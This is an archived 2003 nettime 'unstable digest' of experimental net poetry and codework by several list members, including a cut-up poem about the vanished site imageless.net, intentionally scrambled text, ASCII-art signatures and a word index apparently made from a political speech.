imageless.net\n\n the says i came with words on my shirt . she noticed\n  source page sometimes\n  page page disappearing from the net\n  code the wontsin\n  says page she cried and then started running\n  404 404 there is no middleway i told her\n\n when hear disappearing\n  i i in any other direction than mine\n  hear i the net disappearing\n  voices hear guiding\n\n and hear she did not believe me\n  when hear when i hear voices\n  i when i can and i did\n  hear hear it is an unbelievable sentence\n  voices sometimes reproducing itself\n  i sometimes what word did i teach ?\n  hear sometimes she cried and then started running\n  numbers numbers i do not come to a conclusion\n  sometimes too i do not come to anything\n  too when guiding\n\n cantsin cantsin she cried and then started running\n\n i did i can and i did\n  can did terrible crime\n  and can she saw that i came with words on my shirt\n  i did i have a mirror a copy and a backup\n  did did sometimes\n\n terrible terrible s-.-.~\n  crime crime i do not come to a conclusion\n\n brutal brutal there was no way of not noticing it\n\n how can she cried and then started running\n  can can disappearing from the net\n  one be there was no way of not noticing it\n  not an disappearing from the net\n  be doing disappearing from the net\n  brutal an what word did i teach ?\n  doing can doubled mirrored backuped spread\n  such such F-\n  an be disappearing from the net\n  act act what german word did i learn today ?\n\n there is there is no middleway i told her\n  is there doubled mirrored backuped spread\n  no her i did and i can\n  middleway i what german word did i learn today ?\n  i middleway the source page code says 404\n  told there what word did i teach ?\n  her i s-.-.~\n\n i noticed F-\n  came shirt the source page code says 404\n  with noticed any other language\n  words i the net disappearing\n  on she terrible crime\n  my . when i hear voices\n  shirt shirt what word did i teach ?\n  . shirt reproducing itself\n  she came it is an unbelievable sentence\n  noticed . i disappeared from the net\n\n there way and when i hear voices i hear numbers sometimes too\n  was no it is an unbelievable sentence\n  no there reproducing itself\n  way not the net disappearing\n  of noticing disappearing from the net\n  not there brutal\n  noticing was wontsin\n  it noticing she cried and then started running\n\n F- F- how can one not be brutal doing such an act\n\n sometimes sometimes disappearing from the net\n\n she she i disappeared from the net\n  cried she she did not believe me\n  and she disappearing from the net\n  then started there is no middleway i told her\n  started she i count every word in that sentence\n  running running terrible crime\n\n in mine there is no middleway i told her\n  any in i can and i did\n  other other it is an unbelievable sentence\n  direction than i disappeared from the net\n  than other F-\n  mine mine F-\n\n guiding guiding brutality i did\n\n i i imageless, disappearing\n  did did but remaining  and and what word did i teach ?\n  i can doubled mirrored backuped spread\n  can i i count every word in that sentence\n\n i from and when i hear voices i hear numbers sometimes too\n  disappeared i she saw that i came with words on my shirt\n  from disappeared cantsin\n  the the i do not come to anything\n  net i brutal\n\n it it the source page code says 404\n  is is and when i hear voices i hear numbers sometimes too\n  an an the net disappearing\n  unbelievable sentence the source page code says 404\n  sentence it F-ometimes\n\n she not disappearing from the net\n  did believe how can one not be brutal doing such an act\n  not not guiding\n  believe not i do not come to a conclusion\n  me me cantsin\n\n disappearing disappearing doubled mirrored backuped spread\n  from net sometimes\n  the the she took a hand and it was mine\n  net disappearing when i hear voices\n\n s-.-.~ s-.-.~ i count every word in that sentence\n\n disappearing net guiding\n  from from i do not come to anything\n  the from but it won't help\n  net the i disappeared from the net\n\n i in there was no way of not noticing it\n  count every i do not come to a conclusion\n  every that wontsin\n  word sentence when i hear voices\n  in in i can and i did\n  that every terrible crime\n  sentence i she cried and then started running\n\n and in but it won't help\n  every every s-.-.~\n  letter and i do not come to a conclusion\n  in word and every letter in each word\n  each each but remaining  word in the net disappearing\n\n i a in any other direction than mine\n  do conclusion i do not come to anything\n  not conclusion i can and i did\n  come do cantsin\n  to come i did and i can\n  a conclusion brutality i did\n  conclusion a cantsin\n\n i to i do not come to anything\n  do do wontsin\n  not come she cried and then started running\n  come come disappearing from the net\n  to come i do not come to anything\n  anything to i do not come to a conclusion\n\n she that and when i hear voices i hear numbers sometimes too\n  saw she i did and i can\n  that shirt i do not come to a conclusion\n  i saw she did not believe me\n  came shirt the net disappearing\n  with my but it won't help\n  words with she cried and then started running\n  on i what german word did i learn today ?\n  my my sometimes\n  shirt came disappearing from the net\n\n she and but remaining  took took what word did i teach ?\n  a was the net disappearing\n  hand mine but remaining  and took F-\n  it it any other language\n  was she reproducing itself\n  mine it i do not come to anything\n\n disappearing disappearing F-ometimes\n\n imageless, disappearing i came with words on my shirt . she noticed\n  disappearing imageless, the source page code says 404\n\n i copy it is an unbelievable sentence\n  have and i disappeared from the net\n  a i disappearing from the net\n  mirror mirror i count every word in that sentence\n  a a any other language\n  copy mirror reproducing itself\n  and i disappearing from the net\n  a and cantsin\n  backup backup she saw that i came with words on my shirt\n\n but it but it won't help\n  it won't F-\n  won't it the net disappearing\n  help but but remaining\n wontsin wontsin i do not come to a conclusion\n\n F-ometimes F-ometimes imageless, disappearing\n\n any language disappearing from the net\n  other language she took a hand and it was mine\n  language other disappearing from the net\n\n what word brutality i did\n  german german guiding\n  word did i can and i did\n  did today doubled mirrored backuped spread\n  i what F-ometimes\n  learn what reproducing itself\n  today word terrible crime\n  ? i the source page code says 404\n\n what ? what german word did i learn today ?\n  word ? i have a mirror a copy and a backup\n  did what there is no middleway i told her\n  i did disappearing\n  teach word reproducing itself\n  ? i the source page code says 404\n\n brutality brutality guiding\n  i brutality there was no way of not noticing it\n  did brutality in any other direction than mine\n\n the net i do not come to anything\n  net net disappearing\n  disappearing disappearing reproducing itself\n\n doubled doubled imageless, disappearing\n  mirrored mirrored what german word did i learn today ?\n  backuped backuped and every letter in each word\n  spread mirrored i do not come to anything\n\n reproducing itself i disappeared from the net\n  itself reproducing guiding\n\n but but in any other direction than mine\n  remaining but s-.-.~\n\n----- Original Message -----\nFrom: \"Florian Cramer\" <cantsin {AT} zedat.fu-berlin.de>\nTo: \"s-.-.~\" <7-11 {AT} mail.ljudmila.org>\nSent: Monday, February 03, 2003 8:54 PM\nSubject: [7-11] imageless.net\n\n\n> Ivan Khimin's minimalist website http://imageless.net seems to have\n> disappeared from the net. Does anyone have a mirror copy/backup of it?\n>\n> -F\n>\n> --\n> http://userpage.fu-berlin.de/~cantsin/homepage/\n> http://www.complit.fu-berlin.de/institut/lehrpersonal/cramer.html\n> GnuPG/PGP public key ID 3200C7BA, finger cantsin {AT} mail.zedat.fu-berlin.de\n>\n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n> / /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\n> SATISFACTION SURVEY. > > > > >\n> ###################################################### >\n> #1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n> 071101010 07110101 0711.00100# > ###########\n> http://mail.ljudmila.org/mailman/listinfo/7-11\n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n> / /____|##################################################################\n> >## ############      ########## # ### ### ##      ###### >\n> ####  ######  #### #### ######  ##############  ###### >\n> # ####  ##### #### ########## ######  ###   ####### >\n> >\n> >\n>\n>\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ###########\nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n/ /____|##################################################################\n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n>\n>\n\n\n\n\nFrom: \"C-K-H-R-O-M-A-S-C-H-I-N-E-S\" <c-k-h-r-o-m-a-c-h-i-n-e {AT} chromaticspaceandworld.com>\nTo: 7-11 {AT} mail.ljudmila.org\nSubject: I PROTEST\nDate: Fri, 31 Jan 2003 09:31:51 -0500\n\nI DEMAND PERFECT TEXT\nI WANT A NEW LANGUAGE\n\n\n\n\n\n.\n\n\n\nFrom: lo_y <loy {AT} myrealbox.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Re: _Formation of Reality Codes_\nDate: Sun,  2 Feb 2003 10:35:05 +0100 (CET)\n\n\n\nu <bountes_>\n_Info(a).man]\n.u\n- inerread?Prencepts)]\n--\n- plus[d]ualls readiss.\n_Patistacticia hiptur]ine.pornograd?Pregne.ing op[g]arNuggets] + [Ring text x.p[e]\n- i[o]nly.\n.u\n-\n\n--\n.if\n-\n.ing\nu\n[IN]_Formaterse op[e]sityliss.\n\n\n_Informs)]\n\n_Blachositchos\n_Curr?Webbistiont x.plus ve i[o]man]\n--\n\n\n[IN]_Fording\n.u\nu\n- couggets] + [Lump?CarNugating?The d[re.porms) m.accing\n_Cur]ini [Ring?TheRing?Thed f.[litchos\n_Curre.marr?Webbisty moveiled)fixiont via Projech[Dealls scridistylignani [f]atrip_h.oe[unt.ing visty posity|ne.plus vissay m.accia Picing rencembl[M].ish[Dealls via hipts)]\n_Blair Witylitchos\n\n\n.menched)fichos\nmaninip_h.oe[unversiont.inipulatride\n- conjugatext x.porTorms) modin2 thiss.pordisheRinfo(a).mus[k]t\n\n\n--\n[IN]_Fornograd?Pre.if\n.inip_h.oe[unveiled)fict(wo]matach[Dealls vististgatis[d]ualisplair Witch?Ver Noterr?Webbisplus regner p[e]sion versign.me]hich]atatext x.porms)]\n-\n_Inf(a).mod.t|ne.sign.wb.ric[i-a dess.eme]\n_Inf(a).mod.t|con.c.embl.ini(p_h).op[t_lls di[o]man-i][Rin.pt_lls unverr?Webbisplacepts] + Ront.in2 te-unv+ din.[Lump?CarNuggets)]\n- p[e]sitchos_n scricia hip[tur]in2 ter Wit.ont.ish[Deading vist]is-s.\n--\n\n\n- p.oe[unpa.tack.if]\n_Inf(a).m.accory.if\n--\n[IN]_ForTorms m.act(ionc)embl[M].iss.\n[IN]_(Forms) m.acc.h.pacc.ont: [x.porntextur]inf(a).ma: text rencmb[M].if\n.in+.sign.f(a).mus[k]t\n.u\n- codromarNught>\n_[Cur][inf(a).me][s.stach]acement.if\n[unv+ d.t {AT} trip_h.opp.rdisty|ner Witch](at_n.veiled)ficc.a Picn[d.nograph.brine.s.t.splus via Picia Picali]e.ing?The of g.ram yr porms] m.accing?The op[g]atacepts] + [Lump?CarNught>\n.u\n-\n[unveiled]fix.njugat.ct(ion) op[e]sish|Cin.wbride.sisty|newbrine.mat {AT} ction [(d.note-unpa.text) re.mus[t]pin.newbricia hybring]\n\n_Blay [Codess.plus version]\n.if\nPat.ss.e[M].if\n.m.act(wo)mat {AT} rict[wmn]\n\n- inip-lay [m.act(ion)cepts] + Ron.cheR.ni [Lump?CarN-gat.r.p-lacci]\n \n \n \n_______________________________________\n\n__   -   -  lo_y  -  -   __  _\n_______________________________________\n\nPTRz: \nhttp://socialfiction.org/scrabble\nhttp://rhizome.org/object.rhiz?5852\nhttp://trace.ntu.ac.uk/incubation/gallery.cfm\nhttp://www.muse-apprentice-guild.com\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\nhttp://lo-y.diaryland.com/\n________________________________________\n\n\n\n\nnettime unstable digest vol 33\nSun Feb  9 23:30:12 2003\n\n\nSubject: Re: <nettime> unstable digest vol 11 (verification)\n    From: Steven <steve=noweurope.com {AT} spamarrest.com>\n    To: cantsin {AT} zedat.fu-berlin.de\n\nSubject: Re:  Being Approached  [mEssay]\n    From: \"hu][bris wo][man\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: spam from 130.79.93.144 .\n    From: diocletian {AT} visi.com (Karl Petersen)\n    To: 7-11 {AT} mail.ljudmila.org\n\nSubject: chronO=ZOne\n    From: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: BASE COUNT\n    From: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: Re: 12 minutes of \"conquests\" Rethinking Wargames | e\n    From: \"[iso-8859-1] Bj=F8rn Magnhild=F8en\" <magh {AT} chello.no>\n    To: e-kunst {AT} kunst.no\n\nSubject: THE ALGORITHMIC MAGIC AND THE SOURCE PAGE CODE SAYS 404\n    From: Johan Meskens CS2 jmcs2 <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\n    To: s-.-.~ <7-11 {AT} mail.ljudmila.org>\n\nSubject: _Formation of Reality Codes_\n    From: \"hu][bris wo][man\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\n\nSubject: \"TWELVE MONTHS A YEAR\"\n    From: \"August Highland\" <hmfah3 {AT} hotmail.com>\n    To: <7-11 {AT} mail.ljudmila.org>\n\nSubject: whatever it was\n    From: solipsis <solipsis {AT} HEVANET.COM>\n    To: POETICS {AT} LISTSERV.BUFFALO.EDU\n\nSubject: Re:  imageless.net\n    From: Johan Meskens CS2 jmcs2 <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\n    To: 7-11 {AT} mail.ljudmila.org\n\nSubject: I PROTEST\n    From: \"C-K-H-R-O-M-A-S-C-H-I-N-E-S\" <c-k-h-r-o-m-a-c-h-i-n-e {AT} chromaticspaceandworld.com>\n    To: 7-11 {AT} mail.ljudmila.org\n\nSubject: Re: _Formation of Reality Codes_\n    From: lo_y <loy {AT} myrealbox.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 9 Feb 2003 23:32:41 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200302100726.h1A7QFn18456 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0302/msg00035.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 33"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00010",
                "content": "\nDate: Tue, 28 Jan 2003 10:39:10 +0100\nFrom: Bernd Leifeld <leifeld {AT} documenta.de>\nSubject: Re: <nettime> unstable digest vol 31\n\nplease unsubscribe\n\n\n\n\n\n\nDate:         Mon, 27 Jan 2003 21:31:42 -0500\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: War\n\nWar\n\n\n<LI><a href=\"ftp://garbo.uwasa.fi/\";>huge software directory</a>\nevery moment rushing towards her death\nalways tending, living towards tending.\nevery moment rushing towards her death\nalways tending, living towards tending.\nevery moment rushing towards her death\nevery moment rushing towards her death\nalways tending, living towards tending.\nOr take the prospective war with (or liberation of) Iraq.  People have\ncomplicated factors.  Both the pro and anti war camp asre presumeably\necho | /CYCLE - Leaves current channel and rejoins right afterwards.\nbind meta2-A backward_history\nbind meta2-B forward_history\nbind meta2-C forward_character\nbind meta2-D backward_character\necho    SCYTHE.IRC - Vassago's IRC warscript. Not for the faint of heart.\nemail marketing, we are committed to delivering a highly rewarding Your\nBinary file tf matches\n# you were on #oldwarez the night that quote suggestions were taking\necho :  a $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ : be war.  There :\n^assign quoat15 <DeadL> VeNoM v2.01 - The Downfall Of #oldwarez ^assign\nquoat43 <DeadL> VeNoM v2.01 - The Downfall Of #oldwarez\nbind meta2-A backward_history\nbind meta2-B forward_history\nbind meta2-C forward_character\nbind meta2-D backward_character\nalias beware {\nme is in command of <-Dethnite's VeNoM v2.01!-> Beware the serpent...\necho you were on #oldwarez the night that quote suggestions were taking\n\n\n===\n\n\n\n\nDate: Wed, 29 Jan 2003 10:59:09 -0000\nFrom: Lawrence Upton <lawrence.upton {AT} BRITISHLIBRARY.NET>\nSubject: Information Operation\n\nVoice 1:\nSome comments caption this.\n\nVoice 2:\nI feel guilty\n\nVoice 1:\nThe title of a huge nothing in particular.\n\nVoice 2:\nMy compromise is not traditional.\n\nVoice 3:\nTo invade the dominance of a sense.\n\nVoice 2:\nOverlooking nothing.\n\nVoice 1:\nIn all thoughts?\n\nVoice 2:\nObservant participation.\n\nVoice 3:\nA bottle of statements.\n\nVoice 2:\nGesture to be clear.\n\nVoice 1:\nTo perplex is to be enough.\n\nVoice 2:\nDefine intimate.\n\nVoice 1:\nThe generosity of propriety.\n\nVoice 3:\nAny blocked writer can receive a good word!\n\nVoice 2:\nA good word is death.\n\nVoice 3:\nDeath was achievable.\n\nVoice 2:\nIt reminded me.\n\nVoice 1:\nA very brief video.\n\nVoice 3:\nEffectiveness of the presentation?\n\nVoice 1:\nA highly dangerous troubled speaker.\n\nVoice 3:\nBooks regard abuse -\n\nVoice 1:\nAccepting the flesh.\n\nVoice 2:\nThey stood in their papers.\n\nVoice 1:\nOne thing being excluded.\n\nVoice 2:\nIt's paradoxical to be appropriate.\n\nVoice 1:\nLove is an instruction.\n\nVoice 3:\nThe dominance of text.\n\nVoice 2:\nYes, but I am considering a sandwich.\n\n\n\n\nFrom: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\nSubject: Fw:  Fw: 1ckhromaschinexualn+e+\nDate: Wed, 29 Jan 2003 12:53:29 +0100\n\n{ { [ leaiv ealrnyyy\nmiddle,-- functioning  middle,--\nwaterinis take  waterinis\nofmiddle,middle,andin[timewaterandtimetimedinshatter  ofmiddle,middle,andin[timewaterandtimetimedinshatter\n\n\n\n\n\n\n.]  .] -it is through earth and earth it is\n.place asked  .place i talked about new land\n\n\n\n\n\n\n.  .\n----- Original Message ----- \nFrom: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\nTo: \"s-.-.~\" <7-11 {AT} mail.ljudmila.org>\nSent: Wednesday, January 29, 2003 12:45 PM\nSubject: [7-11] Fw: 1ckhromaschinexualn+e+\n\n\n> he did\n> v\n> two fingers on world\n> visited\n> s\n> =c=k=h=r=o=m=a=s=c=h=i=n=e=n=i=h=c=same\n> \n> ----- Original Message ----- \n> From: \"C-K-H-R-O-M-A-S-C-H-I-N-E-S\" <c-k-h-r-o-m-a-c-h-i-n-e {AT} chromaticspaceandworld.com>\n> To: <johanmeskenscs2 {AT} chromaticspaceandworld.com>\n> Sent: Wednesday, January 29, 2003 12:43 PM\n> Subject: CKHROMASCHINEXUALTEKST\n> \n> \n> > i genitalized the c-k-h-r-o-m-a-s-c-h-i-n-e\n> > \n> > \n> > .\n> > \n> > \n> \n> \n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n> / /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\n> SATISFACTION SURVEY. > > > > >\n> ###################################################### >\n> #1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n> 071101010 07110101 0711.00100# > ########### \n> http://mail.ljudmila.org/mailman/listinfo/7-11\n> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n> / /____|################################################################## \n> >## ############      ########## # ### ### ##      ###### >\n> ####  ######  #### #### ######  ##############  ###### >\n> # ####  ##### #### ########## ######  ###   ####### >\n> > \n> > \n> \n> ] } }\n\n\n\nFrom: \"hu][bris wo][man\" <netwurker {AT} hotkey.net.au>\nSubject: text|code text|code  ::exe.][elo][cution   text|code text|code\nDate: Wed, 29 Jan 2003 09:46:25 +1100\n\n\n\n\n.the\n.randomness\n.x.ists in the formulation\n\n\n.coded ][with][in their own\n\n[hash d.finely ch[l]o[o]pped]\n[braille|small|emailness]\n\n.semi-random but][ted][\n.potentiali-T x.panse\n\n\n% smaille editor = (\n   xxxxxxxxx => {\n                 x\n                 x\n                 x\n           {\n                 x\n                 x\n                 x\n           },\n           {\n                 x\n                 x\n                 x\n           },\n           {\n                 x\n                 x\n                 x\n           },\n       ],\n   },\n   XXXXXXX => {\n                 X\n                 X\n                 X\n           {\n                 X\n                 X\n                 X\n           },\n           {\n                 X\n                 X\n                 X\n           },\n           {\n                 X\n                 X\n                 X\n           },\n       ],\n   },\n   XXXXXXXXXX=> {\n                 X\n           {\n                 X\n           },\n           {\n                 X\n           },\n           {\n                 X\n           },\n       ],\n   },\n);\n\n\n\n- pro][tein][.logging.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker/\n_\n_sparks of lost hu][bris][man $cent][+re.sieved][_\n\n\n\n\n\nFrom: \"hu][bris wo][man\" <netwurker {AT} hotkey.net.au>\nSubject: .com[*].bat parts\nDate: Tue, 28 Jan 2003 18:13:01 +1100\n\n\n\n\n[andr(n)oidal shell pic][o][torial]\n\na \nSnakingWarMachineShiftStick][(dopp)ler][sIn2DevoidDustWrit10In2BodyCreamWrappedAndOperationalWarpedShiftEyeMovementGapingAnd\n\n++\n\n[embroidered with gutted g][u][ilt + c(s)haron]\n\nswirl fi.gor[y nuances & cherry lip spilting]e via jointed shoulda.blade[ing]\n\n[put(ty)2go(o)][me][dus][a][e]\n\n\n\n\n\n- pro][tein][.logging.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker/\n_\n_sparks of lost hu][bris][man $cent][+re.sieved][_\n\n\n\n\n\nDate: Mon, 27 Jan 2003 09:59:19 -0800\nFrom: CE Putnam <swineburne {AT} YAHOO.COM>\nSubject: \"How can you hold yr thumb like that: an index\"\n\n(an\n(operating\n(or\n12\n12\n12200-page\n1441\n1441\n1989\n1991\n1995\n2003\n4\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\nabout\nabout\nabout\nabroad\nabroad\naccepted\naccess\naccess\naccess\naccount\naccounting\naccounts\naccounts\nactions\nactivities\nacts\naddress\naddress\nadministration\naerial\naffordable\nAfrica\nAfrica\nafter\nafter\nagain\nagainst\nAgency\nagent\nagent)\nagents\nall\nall\nall\nall\nall\nAll\nallowing\nalready\nalso\nalso\nalso\nalso\nalso\nAmerica\nAmerica's\nAmerica's\nAmerican\nAmerican\nAmerican\nAmerican\nAmericans\nAmericans\nAmericans\namounts\nan\nan\nan\nan\nan\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nand\nAnd\nAnd\nAnd\nanswer\nanswer\nanswers\nanthrax\nany\nappropriate\nare\nare\nare\nare\narms\naround\narsenal\narsenal\narsenal\nas\nas\nas\nas\nas\nas\nas\nas\nAs\nAs\nAs\nask\nask\nasked\nasked\nass\nassist\nassistance\nat\nat\nat\nat\nAtomic\nattempt\nattended\naway\nballistic\nballistic\nbe\nbe\nbe\nbefore\nbehavior\nbeing\nbenefit\nbent\nbetter\nbetter\nbiological\nbiological\nbiological\nblocked\nbombers\nbombers\nbonus\nboth\nboth\nbreach\nbring\nbring\nbudget\nbudget\nbuild\nbusinesses\nbut\nButler\nby\nby\nby\nby\nby\nby\nby\nby\nby\nby\nby\nby\nby\nby\nby\nBy\ncan\ncan\ncare\ncare\ncash\ncaused\nceremony\nchallenges\nchemical\nchemical\nchemical\nchief\nchiefs\nchild\nchild\ncitizens\ncitizens\ncity\nclaim\nclaims\nclear\ncloud\ncoming\ncoming\ncommitment\ncommitment\ncommitment\ncommitment\ncommon\ncommunity\ncompassion\ncompassionate\ncomplete\nconceal\nconcealment\nconfirm\nconfuse\nCongress\nCongress\nCongress\nCongress\nCongress\nCongress\nCongress\nconstitutes\nconstruction\ncontinued\ncontrast\ncontrols\ncooperate\ncooperation\ncooperation\ncooperation\ncooperatively\ncopied\ncost\ncould\ncould\nCouncil\nCouncil\ncountries\nCountries\ncourage\ncovert\ncreation\ncredit\ncritical\ncritical\ncriticism\ncurrent\ndaily\ndate\ndeadlier\ndeadly\ndecade\ndecide\ndecided\ndecided\ndecides\ndecision\ndeclaration\ndeclaration\ndeclaration\ndeclaration\ndeclaration\ndeduction\ndefend\ndefense\ndefiance\ndeficit\ndefunct)\ndeliver\ndemanding\nDemocrats\ndemonstrated\ndemonstrated\ndepends\ndestroyed\ndestroyed\ndestroyed\ndestruction\ndestruction\ndetailing\ndirect\ndisarm\ndisarm\ndisarm\ndisarm\ndisarm\ndisarm\ndisarm?\ndisarmament\ndisarmament\ndisarmament\ndisarmed\ndiscipline\ndisclose\ndiscretionary\ndishonesty\ndismantle\ndismantle\ndismantled\ndismantling\ndividends\ndo\ndocumentation\ndocuments\ndocuments\ndomestic\ndouble\ndrug\ndrug\nduplicitous\nearly\neconomic\neconomy\neconomy\neconomy\neconomy\nedited\neffective\nefforts\nefforts\nelements\nEleven\neliminate\nemergency\nencourage\nencouraging\nends\nEnergy\nenriched\nenrichment\nequipment\nera\nestablished\nestimates\neven\neven\neven\nevery\nexample\nexample\nexample\nexamples\nexistence\nexpenses\nexplain\nfaces\nfacilities\nfacilities\nfacilities\nfailed\nfailing\nfails\nfaith-based\nfall\nfalse\nfamilies\nfamily\nFar\nfarcical\nfashion\nfast\nfaster\nFebruary\nfederal\nfellow\nfew\nfiled\nfilled\nfilled\nfinally\nfind\nfind\nfind\nfinding\nfinding\nfollow\nfor\nfor\nfor\nfor\nfor\nfor\nfor\nfor\nfor\nfor\nfor\nfor\nfor\nfor\nfor\nfor\nfor\nFor\nformer\nforward\nfoundation\nfree\nfrom\nfrom\nfrom\nfrom\nfrom\nfrom\nfuel\nfull\nfull\nfund\nfuture\n